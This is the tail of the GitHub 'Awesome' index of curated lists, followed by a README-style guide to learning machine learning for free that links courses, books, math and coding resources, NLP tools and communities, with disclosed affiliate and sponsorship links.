- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
- [Sustainable Technology](https://github.com/protontypes/awesome-sustainable-technology#readme) - Open technology sustaining stable climate, energy supply, and vital natural resources.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible.
## Related
- [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub.
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
- [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension.
- [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists.
|
# Start Machine Learning in 2023 - Become an expert for free!
## A complete guide to start and improve in machine learning (ML), artificial intelligence (AI) in 2023 without ANY background in the field and stay up-to-date with the latest news and state-of-the-art techniques!
This guide is intended for anyone having zero or a small background in programming, maths, and machine learning. There is no specific order to follow, but a classic path would be from top to bottom. If you don't like reading books, skip it, if you don't want to follow an online course, you can skip it as well. There is not a single way to become a machine learning expert and with motivation, you can absolutely achieve it.
All resources listed here are free, except some online courses and books, which are certainly recommended for a better understanding, but it is definitely possible to become an expert without them, with a little more time spent on online readings, videos and practice. When it comes to paying courses, the links in this guide are affiliated links. Please, use them if you feel like following a course as it will support me. Thank you, and have fun learning! Remember, this is completely up to you and not necessary. I felt like it was useful to me and maybe useful to others as well.
Don't be afraid to repeat videos or learn from multiple sources. Repetition is the key of success to learning!
Maintainer: [louisfb01](https://github.com/louisfb01), also active on [YouTube](https://www.youtube.com/@whatsai) and as a [Podcaster](https://open.spotify.com/show/4rKRJXaXlClkDyInjHkxq3) if you want to see/hear more about AI!
[](https://twitter.com/Whats_AI)
Feel free to message me any great resources to add to this repository on [email protected]
***Tag me on Twitter [@Whats_AI](https://twitter.com/Whats_AI) or LinkedIn [@Louis (What's AI) Bouchard](https://www.linkedin.com/in/whats-ai/) if you share the list!***
### Want to know what is this guide about? Watch this video:
[<img src="https://imgur.com/JFRt2Jb.png" width="512"/>](https://youtu.be/RirEw-uaS_8)
----
👀 **If you'd like to support my work**, you can check to [Sponsor](https://github.com/sponsors/louisfb01) this repository or support me on [Patreon](https://www.patreon.com/whatsai). You can also support me by following my favorite (free) [daily AI newsletter](https://www.syntheticmind.io/subscribe?ref=EFowuebnlZ) to get frequent updates on new research and applications in AI!
Or support me by wearing cool [merch](https://whatsai.myshopify.com/)!
----
## Table of Contents
- [Start with short YouTube video introductions](#youtubevideos)
- [Follow free online courses on YouTube](#youtubecourses)
- [Read articles](#readarticles)
- [Read books](#readbooks)
- [No math background for ML? Check this out!](#math)
- [No coding background, no problem](#coding)
- [Follow online courses](#onlinecourses)
- [Practice, practice, and practice!](#practice)
- [Want to build language models/apps? Check this out!](#nlp)
- [More resources (Communities, cheat sheets, news, and more!)](#moreresources)
- [How to find a machine learning job](#findajob)
- [AI Ethics](#aiethics)
## Start with short YouTube video introductions<a name="youtubevideos"></a>
### Start with short YouTube videos introductions
This is the best way to start from nothing in my opinion. Here, I list a few of the best videos I found that will give you a great first introduction of the terms you need to know to get started in the field.
* Introduction to the most used terms
* [Learn the basics in a minute - What's AI](https://www.youtube.com/playlist?list=PLO4GrDnQanVe6F6MRJg_KO7JEoH-ukFzY) - YouTube Playlist
* Understand the neural networks
* [Neural Networks Demystified - Welch Labs](https://www.youtube.com/playlist?list=PLiaHhY2iBX9hdHaRr6b7XevZtgZRa1PoU) - YouTube Playlist
* [Learn Neural Networks - 3Blue1Brown](https://www.youtube.com/playlist?list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi) - YouTube Playlist
* [Math for Machine Learning - Weights & Biases](https://www.youtube.com/playlist?list=PLD80i8An1OEGZ2tYimemzwC3xqkU0jKUg) - YouTube Playlist
* [The spelled-out intro to neural networks and backpropagation: building micrograd](https://youtu.be/VMj-3S1tku0) - YouTube Video by Andrej Karpathy
Another easy **way to get started and keep learning is by listening to podcasts** in your spare time. Driving to work, on the bus, or having trouble falling asleep? Listen to some AI podcasts to get used to the terms and patterns, and learn about the field through inspiring stories! I invite you to follow a few of the best I personally prefer, like [Lex Fridman](https://open.spotify.com/show/2MAi0BvDc6GTFvKFPXnkCL), [Machine Learning Street Talk](https://open.spotify.com/show/02e6PZeIOdpmBGT9THuzwR), and obviously, my podcast: [What's AI by Louis Bouchard](https://open.spotify.com/show/4rKRJXaXlClkDyInjHkxq3), where you will learn about incredibly talented people in the field with inspiring stories sharing the knowledge they worked so hard to gather.
## Follow free online courses on YouTube<a name="youtubecourses"></a>
### Follow free online courses on YouTube
Here is a list of awesome courses available on YouTube that you should definitely follow and are 100% free.
* [Introduction to machine learning](https://www.youtube.com/playlist?list=PLoROMvodv4rMiGQp3WXShtMGgzqpfVfbU) - YouTube Playlist (Stanford)
* [Introduction to deep learning](https://www.youtube.com/playlist?list=PLtBw6njQRU-rwp5__7C0oIVt26ZgjG9NI) - YouTube Playlist (MIT)
* [Deep learning specialization](https://www.youtube.com/channel/UCcIXc5mJsHVYTZR1maL5l9w/playlists) - YouTube Playlist (Deeplearning.ai)
* [Deep Learning (with PyTorch)](https://atcold.github.io/pytorch-Deep-Learning/) - NYU, Yann LeCun
* [MIT Deep Learning](https://deeplearning.mit.edu/) - Lex Fridman's up-to-date deep learning course
## Read articles<a name="readarticles"></a>
### Read many articles
Here is a list of awesome articles available online that you should definitely read and are 100% free.
[Medium](https://whats-ai.medium.com/membership) is pretty much the best place to find great explanations, either on [Towards AI](https://pub.towardsai.net/) or [Towards Data Science](https://towardsdatascience.com/) publications. I also share my own articles there and I love using the platform. You can subscribe to Medium using my affiliated link [here](https://whats-ai.medium.com/membership) if this sounds interesting to you and if you'd like to support me at the same time!
* [Start AI in 2022 — Become an expert from nothing, for free!](https://www.louisbouchard.ai/learnai/) - Louis Bouchard
* [5 Beginner Friendly Steps to Learn Machine Learning and Data Science with Python](https://towardsdatascience.com/5-beginner-friendly-steps-to-learn-machine-learning-and-data-science-with-python-bf69e211ade5) - Daniel Bourke
* [What is Machine Learning?](https://medium.com/towards-artificial-intelligence/what-is-machine-learning-ml-b58162f97ec7) - Roberto Iriondo
* [Machine Learning for Beginners: An Introduction to Neural Networks](https://towardsdatascience.com/machine-learning-for-beginners-an-introduction-to-neural-networks-d49f22d238f9) - Victor Zhou
* [A Beginners Guide to Neural Networks](https://towardsdatascience.com/a-beginners-guide-to-neural-networks-d5cf7e369a13#:~:text=Neural%20networks%20are%20powered%20by,then%20recognize%2C%20interpret%20and%20classify.) - Thomas Davis
* [Understanding Neural Networks](https://towardsdatascience.com/understanding-neural-networks-22b29755abd9) - Prince Canuma
* [Reading lists for new MILA students](https://docs.google.com/document/d/1IXF3h0RU5zz4ukmTrVKVotPQypChscNGf5k6E25HGvA/edit#) - Anonymous
* [The 80/20 AI Reading List](https://medium.com/machine-learning-for-humans/ai-reading-list-c4753afd97a) - Vishal Maini
## Read Books<a name="readbooks"></a>
### Read some books
Here are some great books to read for the people preferring the reading path.
* [Deep learning book](https://www.deeplearningbook.org/) - Free Online
* [Dive into Deep Learning](http://d2l.ai/) - Free Online
* [Probabilistic Machine Learning: An Introduction](https://probml.github.io/pml-book/book1.html) - Free Online
* [Artificial Intelligence: A Modern Approach](https://amzn.to/3mSqhk2) - Optional (Paying)
* [Pattern Recognition and Machine Learning](https://amzn.to/3mPUGPF) - Optional (Paying)
* [Deep Learning with Python](https://amzn.to/32iR3sm) - Optional (Paying)
* [Understanding Machine Learning: From Theory to Algorithms](https://www.cs.huji.ac.il/~shais/UnderstandingMachineLearning/index.html) - Shai Shalev-Shwartz and Shai Ben-David - Free Online
Great books for building your math background:
* [Mathematics for Machine Learning](https://mml-book.com/) - Free Online
* [The Elements of Statistical Learning](https://amzn.to/3mMn5Gy) - Optional (Paying)
* [Statistical Inference](https://amzn.to/3wRqIzD) - Optional (Paying)
A complete Calculus background:
* [Calculus: Concepts and Contexts](https://amzn.to/2OT4NXC) - Optional (Paying)
* [Single Variable Calculus: Concepts and Contexts](https://amzn.to/3wXtzHf) - Optional (Paying)
* [Multivariable Calculus: Concepts and Contexts](https://amzn.to/32jIRYC) - Optional (Paying)
These books are completely optional, but they will provide you a better understanding of the theory and even teach you some stuff about coding your neural networks!
## No math background for ML? Check this out!<a name="math"></a>
### No math background for ML? Check this out!
Don't stress, just like most of the things in life, you can learn maths! Here are some great beginner and advanced resources to get into machine learning maths. I would suggest starting with these three very important concepts in machine learning (here are 3 awesome free courses available on Khan Academy):
* [Linear Algebra](https://www.khanacademy.org/math/linear-algebra) - Khan Academy
* [Statistics and probability](https://www.khanacademy.org/math/statistics-probability) - Khan Academy
* [Multivariable Calculus](https://www.khanacademy.org/math/multivariable-calculus) - Khan Academy
Here are some great free books and videos that might help you learn in a more "structured approach":
* [mathematicalmonk](https://www.youtube.com/channel/UCcAtD_VYwcYwVbTdvArsm7w) - YouTube
* [Mathematics for Machine Learning](https://gwthomas.github.io/docs/math4ml.pdf) - Garrett Thomas
* [An Introduction to Statistical Learning: with Applications in R (Springer Texts in Statistics)](http://fs2.american.edu/alberto/www/analytics/ISLRLectures.html) - Gareth James, Daniela Witten, Trevor Hastie and Robert Tibshirani
If you still lack mathematical confidence, check out the [Read books](#ReadBooks) section above, where I shared many great books to build a strong mathematical background.
You now have a very good math background for machine learning and you are ready to dive in deeper!
## No coding background, no problem<a name="coding"></a>
### No coding background, no problem
Here is a list of some great courses to learn the programming side of machine learning.
* [Practical Machine Learning Tutorial with Python](https://www.youtube.com/playlist?list=PLQVvvaa0QuDfKTOs3Keq_kaG2P55YRn5v) - Free YouTube python introduction
* [Learn Python](https://www.learnpython.org/) - Free interactive tutorial to learn python
* [Learn Python Basics for Data Analysis](https://openclassrooms.com/en/courses/2304731-learn-python-basics-for-data-analysis/6009031-get-started-with-python-and-anaconda) - Free course on OpenClassrooms
* [Getting started with Python and R for Data Science](https://youtu.be/6LWnvC2_DZI?list=PL8eNk_zTBST8kAYLTxYRnsOfznYMRhgZG) - Free
* [Machine Learning with Python | Coursera - IBM](https://coursera.pxf.io/P0vOZe) - Optional (Paying)
* [Introduction to Python for Data Science](https://datasciencedojo.com/python-for-data-science/ref/whatsai/) - In this Python for Data Science course, students will be learning core Python concepts and use the language as it relates to data science in a 16-week learning program (paying, optional).
* [100 numpy exercises](https://github.com/rougier/numpy-100/blob/master/100_Numpy_exercises.ipynb) - A collection of exercises that have been collected in the numpy mailing list, on stack overflow and in the numpy documentation.
* [Shell tutorial](https://swcarpentry.github.io/shell-novice/) - Learn to use the Unix shell! A must for developers and AI practitioners.
> Check out [the What's AI podcast](https://open.spotify.com/show/4rKRJXaXlClkDyInjHkxq3) for more AI content in the form of interviews with experts in the field! An invited AI expert and I will cover specific topics, sub-fields, and roles related to AI to teach and share knowledge from the people who worked hard to gather it.
## Follow online courses<a name="OnlineCourses"></a>
### (Optional) Get a better understanding and more guided practice by following some online courses
If you prefer to be more guided and have clear steps to follow, these courses are the best ones to do.
* [DEEP LEARNING - Yann LeCun](https://atcold.github.io/pytorch-Deep-Learning/?fbclid=IwAR0HQC0NZannqXaaHEj3sJCgLjRxkyDXC-gAoCTN4077wFA33R_udrJfHw4) - This course concerns the latest techniques in deep learning and representation learning. - Free
* [Intro to Machine Learning - Kaggle](https://www.kaggle.com/learn/intro-to-machine-learning) - Learn the core ideas in machine learning, and build your first models. - Free
* [Get started in AI / AI For everyone - Andrew Ng](https://coursera.pxf.io/gbeOKA) - Paying, optional
* [Machine learning - Andrew Ng - Stanford](https://coursera.pxf.io/oeg43O) - Paying, optional
* [AI Programming with Python - Complete nanodegree](https://imp.i115008.net/GjGzek) - Paying, optional
* [Deep learning specialization - Andrew Ng](https://coursera.pxf.io/WDvyaA) - Paying, optional
* [TensorFlow (Professional certificates)](https://coursera.pxf.io/6bQy9q) - Paying, optional
* [AI Engineering - IBM (Professional certificates)](https://coursera.pxf.io/RyNGjN) - Paying, optional
* [Complete data science bootcamp 2022](https://click.linksynergy.com/deeplink?id=8jtkHPNI0iU&mid=39197&murl=https%3A%2F%2Fwww.udemy.com%2Fcourse%2Fthe-data-science-course-complete-data-science-bootcamp%2F) - Paying, optional
* [Machine learning - No coding](https://click.linksynergy.com/link?id=8jtkHPNI0iU&offerid=507388.1292838&type=2&murl=https%3A%2F%2Fwww.udemy.com%2Fcourse%2Fhands-on-machine-learning-without-writing-code%2F) - Paying, optional
* [Data Science Training + Industry Experience](https://datasciencedojo.com/data-science-training-and-internship/ref/whatsai/) - A complete instructor-led 16-week training program with experience (paying, optional).
* [Instructor-led Online Data Science Bootcamp](https://datasciencedojo.com/data-science-bootcamp/ref/whatsai/) - A complete instructor-led 16-week learning program (paying, optional).
* [fast.ai's Deep Learning Courses](https://www.fast.ai/) - Free
* [CS50 - Introduction to Artificial Intelligence with Python (and Machine Learning), Harvard OCW](https://cs50.harvard.edu/ai/2020/) - Free (and usable for teachers as well!)
* [DEEP LEARNING COURSE - François Fleuret](https://fleuret.org/dlc/) - This course is a thorough introduction to deep-learning, with examples in the PyTorch framework. There are some [prerequisites](https://fleuret.org/dlc/#information).
For specific applications:
* [AI For trading nanodegree from Udacity](https://imp.i115008.net/Rymvkg) - Paid
* [Learn Deep Reinforcement learning - Udacity nanodegree](https://imp.i115008.net/7moj2y) - Paid
* [Become an NLP pro with Coursera's Natural Language Processing Specialization by deeplearning.ai](https://coursera.pxf.io/P0vO9e) - Paid
_"Break into the NLP space. Master cutting-edge NLP techniques through four hands-on courses!"_
Get your models online and show them to the world:
* [How to Deploy a Machine Learning Model to Google Cloud - Daniel Bourke](https://youtu.be/fw6NMQrYc6w) - Free
* [Machine Learning DevOps Engineer - Udacity Nanodegree](https://imp.i115008.net/mgZWAX) - Paid
* [AWS Machine Learning Engineer - Udacity Nanodegree](https://imp.i115008.net/9WO5Ry) - Paid
## Practice, practice, and practice!<a name="practice"></a>
### Practice is key
The most important thing in programming is practice. And this applies to machine learning too. It can be hard to find a personal project to practice.
Fortunately, [Kaggle](https://www.kaggle.com/) exists. This website is full of free courses, tutorials and competitions. You can join competitions for free and just download their data, read about their problem and start coding and testing right away! You can even earn money from winning competitions and it is a great thing to have on your resume. This may be the best way to get experience while learning a lot and even earn money! Another great opportunity for projects is to follow courses that are oriented towards a specific application like the [AI For trading course from Udacity](https://imp.i115008.net/Rymvkg).
You can also create teams for kaggle competition and learn with people! I suggest you join a community to find a team and learn with others, it is always better than alone. Check out the next section for that.
## Want to build language models/apps? Check this out!<a name="nlp"></a>
I had a lot of requests from people wanting to focus on natural language processing (NLP) (models dealing with language) or even learn machine learning strictly for NLP tasks. This is a section dedicated to that need. Happy NLP learning!
* [A complete roadmap to master NLP in 2022](https://www.analyticsvidhya.com/blog/2022/01/roadmap-to-master-nlp-in-2022/)
* [Become an NLP pro with Coursera's Natural Language Processing Specialization by deeplearning.ai](https://coursera.pxf.io/P0vO9e) - Paid
_"Break into the NLP space. Master cutting-edge NLP techniques through four hands-on courses!"_
* [An NLP Nano Degree!](https://imp.i115008.net/jW4K60) — Paid
_"Learn cutting-edge natural language processing techniques to process speech and analyze text. Build probabilistic and deep learning models, such as hidden Markov models and recurrent neural networks, to teach the computer to do tasks such as speech recognition, machine translation, and more!"_
* NLTK Book is the free resource to learn about fundamental theories behind NLP: https://www.nltk.org/book/
* Looking to build a quick text classification model or word vectorizer, [fasttext](https://fasttext.cc/docs/en/supervised-tutorial.html) is a good library to quickly train up a model.
* [Huggingface](https://huggingface.co./course/chapter1/1) is THE place to get modern day NLP models, and they also include a whole [course](https://huggingface.co./course/chapter1/1) about it.
* [SpaCy](https://course.spacy.io/en/) is great for NLP in production, as it does NLU, NER, and one can train classification, etc with it. It's also able to add customized steps or models into the pipeline.
* [Prompting!](https://learnprompting.org/) Prompting is a new skill that you should master if you want to build NLP-related apps. This is a great course I am contributing to, intending to teach prompting and give tips for specific models.
[](https://twitter.com/Whats_AI)
## More Resources<a name="moreresources"></a>
### Join communities!
* [A Discord server with many AI enthusiasts](https://discord.gg/learnaitogether) - Learn together, ask questions, find kaggle teammates, share your projects, and more.
* [A Discord server where you can stay up-to-date with the latest AI news](https://ws.towardsai.net/discord) - Stay up-to-date with the latest AI news, ask questions, share your projects, and much more.
* Follow reddit communities - Ask questions, share your projects, follow news, and more.
* [artificial](https://www.reddit.com/r/artificial/) - Artificial Intelligence
* [MachineLearning](https://www.reddit.com/r/MachineLearning/) - Machine Learning (Biggest subreddit of the field)
* [DeepLearningPapers](https://www.reddit.com/r/DeepLearningPapers/) - Deep Learning Papers
* [ComputerVision](https://www.reddit.com/r/computervision/) - Extracting useful information from images and videos
* [learnmachinelearning](https://www.reddit.com/r/learnmachinelearning/) - Learn Machine Learning
* [ArtificialInteligence](https://www.reddit.com/r/ArtificialInteligence/) - AI
* [LatsestInML](https://www.reddit.com/r/LatestInML/) - Game-changing developments in machine learning you shouldn't miss
### Save Cheat Sheets!
* The best Cheat Sheets for Artificial Intelligence, Machine Learning, and Python.
* [Cheat Sheets for AI, Neural Networks, Machine Learning, Deep Learning & Big Data](https://becominghuman.ai/cheat-sheets-for-ai-neural-networks-machine-learning-deep-learning-big-data-678c51b4b463) - Stefan Kojouharov
* [Machine Learning cheatsheets for Stanford's CS 229](https://github.com/afshinea/stanford-cs-229-machine-learning) - Afshine Amidi & Shervine Amidi
* [Cheat Sheet of Machine Learning and Python (and Math) Cheat Sheets](https://medium.com/machine-learning-in-practice/cheat-sheet-of-machine-learning-and-python-and-math-cheat-sheets-a4afe4e791b6) - Robbie Allen
* [AI Expert Roadmap](https://i.am.ai/roadmap/#fundamentals) - Use it as a skillset checklist!
----
👀 **If you'd like to support my work**, you can check to [Sponsor](https://github.com/sponsors/louisfb01) this repository or support me on [Patreon](https://www.patreon.com/whatsai). You can also support me by following my favorite (free) [daily AI newsletter](https://www.syntheticmind.io/subscribe?ref=EFowuebnlZ) to get frequent updates on new research and applications in AI!
Or support me by wearing cool [merch](https://whatsai.myshopify.com/)!
----
### Follow the news in the field!
* Subscribe to YouTube channels that share new papers - Stay up to date with the news in the field!
* [What's AI](https://www.youtube.com/channel/UCUzGQrN-lyyc0BWTYoJM_Sg) - Weekly videos covering new papers
